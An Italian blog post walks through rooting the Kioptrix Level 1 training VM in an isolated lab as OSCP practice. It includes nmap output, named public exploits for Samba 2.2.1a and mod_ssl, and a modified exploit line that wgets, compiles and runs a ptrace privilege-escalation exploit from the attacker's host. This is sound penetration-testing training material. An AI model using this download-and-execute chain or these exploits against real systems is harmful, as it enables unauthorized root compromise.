Getting Root: Kioptrix livello 1

Questa è la prima puntata di ‘Getting Root’, una serie di tutorial che mostrano come compromettere macchine preparate ad hoc, per testare la parte di sicurezza offensiva e prepararmi al secondo tentativo di OSCP.
Prologo
Ci eravamo lasciati un mese fa con il racconto della lezione impartita dal primo fallimento all’esame per l’OSCP.
Nel corso di questo mese, mentre decidevo di quanti giorni estendere il laboratorio, ho letto che il tasso di promozione è abbastanza basso, 4%.
Mi sono quindi detto «bene Paolo, sei proprio un grande xxx. Se non avessi trascurato il report del laboratorio e gli esercizi, forse avresti tirato su quei 5 punti mancanti…».
Visto che coi se e coi ma non si fa la storia, l’esame è da ripetere e quindi, sotto con la preparazione.
Kioptrix Livello 1
Potendo scegliere con cosa partire, ho preferito curare l’autostima intaccata dalla bocciatura al fil di lana, ed iniziare l’allenamento con qualcosa di semplice: una Kioptrix, Livello 1
Questa macchina virtuale è un box Linux su cui è montata una distribuzione RedHat obsoleta, con software vulnerabile, pensata proprio per essere bucata.
Nel mio percorso di avvicinamento al secondo tentativo per l’OSCP, mi sono prefissato di simulare le condizioni di esame evitando quindi di usare Metasploit, eccezion fatta per i tool come msfvenom, semplicemente fondamentale.
Setup dell’ambiente
Per iniziare, ho scaricato la macchina virtuale e configurato VirtualBox affinché esegua la mia Kali Linux e la macchina target in una rete ad hoc, isolata dal mondo esterno.
Questo si ottiene andando sulle preferenze di Virtual Box, selezionando Network ed il tab Host-only networks.
Ora che tutte le macchine, all’avvio, prenderanno un indirizzo sulla 192.168.56 possiamo partire.
La macchina 192.168.56.101 è una Kali Linux aggiornata e pronta all’uso. Qui non si fanno favoritismi, tutti i passaggi li potete seguire con un Linux a scelta, con un Mac OS X o, se volete, anche con un Windows e l’ambiente Cygbin.
La macchina 192.168.56.102 è il target.
Recon
Il primo passaggio è quello di enumerare i servizi in ascolto sulla macchina, per cercare di capire qualcosa in più.
# nmap -A -T4 -oA 192.168.56.102 192.168.56.102
# Nmap 7.50 scan initiated Tue Sep 5 18:48:21 2017 as: nmap -A -T4 -oA 192.168.56.102 192.168.56.102
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.102
Host is up (0.00085s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32770/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-09-05T20:48:40+00:00; +3h59m59s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
32768/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:BA:F2:F4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.56.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 5 18:50:09 2017 -- 1 IP address (1 host up) scanned in 108.20 seconds
Abbiamo quindi, su questa macchina, un demone SSH, un server web (in ascolto sia su protocollo HTTP che HTTPS), alcuni servizi RPC e Samba. Le versioni sono tutte obsolete e pensate per essere bucate.
L’unica informazione che mi manca, dal primo giro di nmap, è la versione di SAMBA in esecuzione. Usando il tool smbclient, riesco a rilevare che si tratta della versione 2.2.1a.
Exploit
SAMBA
Versioni dei servizi alla mano, proviamo a vedere se c’è qualche exploit pubblico che possiamo sfruttare. Prima di cercare su Internet, proviamo a chiedere a searchexploit.
searchexploit è un tool disponibile nel pacchetto exploitdb, presente sulla distribuzione Kali Linux. Con searchexploit è possibile fare una ricerca offline degli exploit disponibili per un certo software e pubblicati su exploit-db.com.
Essendo un test in preparazione all’OSCP, una regola che mi sono dato è: niente Metasploit ad esclusione di msfvenom ed eventualmente pattern_match e pattern_create.
Ho scaricato quindi l’exploit 22470.c dall’archivio locale del pacchetto exploit_db e, senza bisogno di modifiche una volta compilato ed eseguito, una shell di root è apparsa sotto ai miei polpastrelli.
La flag era nella mailbox.
mod_ssl
Chi ha creato questa macchina virtuale ha specificato esserci più modi per ottenere una shell di root. Proviamo a passare da mod_ssl che, in questa versione, è vulnerabile ad una remote code execution.
Aprendo l’exploit, vediamo una nota, aggiunta a posteriori che ci rimanda a questo post dove possiamo seguire le istruzioni per una corretta compilazione.
Ho fatto un’ulteriore modifica all’exploit. Ad un certo punto, alla riga 666, si fa il download di un exploit che sfrutta una vulnerabilità nei vecchi kernel di Linux e che permette una privilege escalation locale.
Visto che le macchine del mio laboratorio non possono uscire su Internet, ho caricato sulla Kali l’exploit e l’ho spostato nella /var/www/html in modo da poterlo servire via HTTP.
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://192.168.56.101/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
Dopo le modifiche, il nostro exploit si compila senza neanche un warning ed è pronto per essere eseguito.
Lanciato l’exploit, abbiamo i due stadi dell’attacco: la shell locale e l’upload dell’exploit per la privilege escalation che ci regala una shell di root .
Off by one
Questa era una macchina semplice. Sicuramente molto lontana da quelle che ho trovato durante l’esame. Mi serviva però qualcosa per aumentare un po’ l’autostima. Root alla mano, siamo pronti per una seconda macchina con cui allenarci…
Enjoy it!
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto